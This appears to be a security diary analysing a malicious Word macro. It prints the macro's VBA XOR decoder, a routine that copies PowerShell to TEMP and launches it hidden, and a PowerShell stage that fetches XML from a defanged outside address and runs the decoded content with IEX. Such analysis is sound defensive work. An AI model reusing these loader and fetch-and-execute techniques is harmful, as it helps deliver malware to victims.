Malicious Word Document with Dynamic Content

Published: 2020-09-23
Last Updated: 2020-09-23 07:27:30 UTC
by Xavier Mertens (Version: 1)
0 comment(s)

Here is another malicious Word document that I spotted while hunting. "Another one?" may ask some of our readers. Indeed but malicious documents remain a very common infection vector and you learn a lot when you analyze them. I was recently asked to talk about Powershell (de)obfuscation techniques. When you're dealing with an incident in a corporate environment, you don't have time to investigate in deep. The incident must be resolved as soon as possible because the business must go on and a classic sandbox analysis is performed to get the feedback: It's malicious or not.

The document has a nice VT score: 38/64 (SHA256:d317d07872fe22a85824a691b069a6e6ffab09d67bf2ed67b7b65432c0bc882e)[1]. Based on VirusTotal, it  was uploaded for the first time in March but we resubmited recently and deserves a diary for two reasons.

The first one is the obfuscation technique used by the attackers. It mimics perfectly an example of a malicious document that we analyze in the FOR610 training[2]. All interesting strings are XOR-encoded and decoded on the fly with the help of the following function:

Function XorC(ByVal sData As String, ByVal sKey As String) As String
    Dim l As Long, i As Long, byIn() As Byte, byOut() As Byte, byKey() As Byte
    Dim bEncOrDec As Boolean
    If Len(sData) = 0 Or Len(sKey) = 0 Then XorC = "Invalid argument(s) used": Exit Function
    If Left$(sData, 3) = "xxx" Then
        bEncOrDec = False
        sData = Mid$(sData, 4)
        bEncOrDec = True
    End If
    byIn = sData
    byOut = sData
    byKey = sKey
    l = LBound(byKey)
    For i = LBound(byIn) To UBound(byIn) - 1 Step 2
        byOut(i) = ((byIn(i) + Not bEncOrDec) Xor byKey(l)) - bEncOrDec
        l = l + 2
        If l > UBound(byKey) Then l = LBound(byKey)
    Next i
    XorC = byOut
    If bEncOrDec Then XorC = "xxx" & XorC
End Function

Here are some examples:

str = XorC("xxxs ngY`V_GCncICFU]ngY`V_GCb_GUDcZU^^nH nB_GUDCZU^^ UJU", "1")


str = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"

How the macro behaves?

First, the Powershell executable is copied into 'C:\Temp\init.exe' then launched with a chunk of Base64-encoded data:

Sub CallP()
    Dim str As String
    str = XorC("xxxsngY`V_GCncICFU]ngY`V_GCb_GUDcZU^^nH nB_GUDCZU^^ UJU", "1")
    Dim tmp As String
    tmp = Environ("TEMP") & "\init.exe"
    Set j = CreateObject(XorC("xxxcSDYBFY`W xY^UcICFU]T\USF", "1"))
    res = j.CopyFile(str, tmp)
    Set wm = GetObject(XorC("xxxGY`]W]FCgY`obD_SUCC", "1"))
    Set wma = GetObject(XorC("xxxGY`]W]FCgY`obD_SUCCcFQDFEB", "1"))
    wma.ShowWindow = 0
    str = tmp & XorC("xxxW\9'W\9@W\W WS_.#Y4 ,MM8&6@@Y2& _.6,MM15AC& _R", "v")
    str = str & "W1N5c3RlbS5OZXQuU2Vydml ... [Base64 data] ... ci1qb2luJyc7IElFWCAkZA==')))"
    Result = wm.Create(str, Null, wma, processid)
End Sub

The VBA code is not really obfuscated but the Base64-encoded PowerShell code is different:

$a = New-Object System.Xml.XmlDocument;
$ip = 'hxxps://2388371974';
$a.Load($(. {param([string]$b,[int]$n,[int]$s,[int]$c);
$p = @(9,5,6,7);
sal er Get-Random;$(-join(1..$($g*$($x|er))|%{[char][int]((65..90)+(97..122)|er)})).ToLower()};
'{0}/{1}/{2}/{3}/{4}.{5}' -f $b, $(. $u $n $p), $(. $u $s $p), $(. $u $c $p), $(. $u 1 $p), $(. $u 1 3)} $ip $PSVersionTable.CLRVersion.Major 2 $([IntPtr]::Size/2)));
[CHAr[]]$r = [System.Text.Encoding]::UTF8.GetString($([System.Convert]::FromBase64String($;
$k = $($r[($r.Length-44)..($r.Length-13)]-join'');
[CHAr[]]$r = $r[14..($r.Length-57)]|%{$_-BXor$k[$I++%$k.LeNGtH]};
$d = $r-join'';
IEX $d

This code fetches some XML content thought:

$a = New-Object System.Xml.XmlDocument;

The generated URL is:


From the XML file, another chunk of Base64 data is decoded from the node '$':

[CHAr[]]$r = [System.Text.Encoding]::UTF8.GetString($([System.Convert]::FromBase64String($;

This code is next XOR'd with the key that is extracted from the decoded string above:

$k = $($r[($r.Length-44)..($r.Length-13)]-join'');
[CHAr[]]$r = $r[14..($r.Length-57)]|%{$_-BXor$k[$I++%$k.LeNGtH]};

Unfortunately, the XML document can't be fetched (the server returns an HTTP error 500). I tried from multiple locations with multiple User-Agent, no luck.

The second interesting behavior is the way the document body is updated with some content grabbed from a webserver. Here is the document when opened:

And the code used to replace the body with another text:

Sub SetCont()
    Dim objHTTP As Object
    Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")
    objHTTP.Open "GET", "", False
    objHTTP.send ("")
    ActiveDocument.Content.Text = objHTTP.responseText
End Sub

This is a great way to make the victim confident about the document. In this case, a simple text file is fetched but we could imagine that the attacker will request data based on the victim's environment (like the language). Simple and efficient...


Xavier Mertens (@xme)
Senior ISC Handler - Freelance Cyber Security Consultant

0 comment(s)


Diary Archives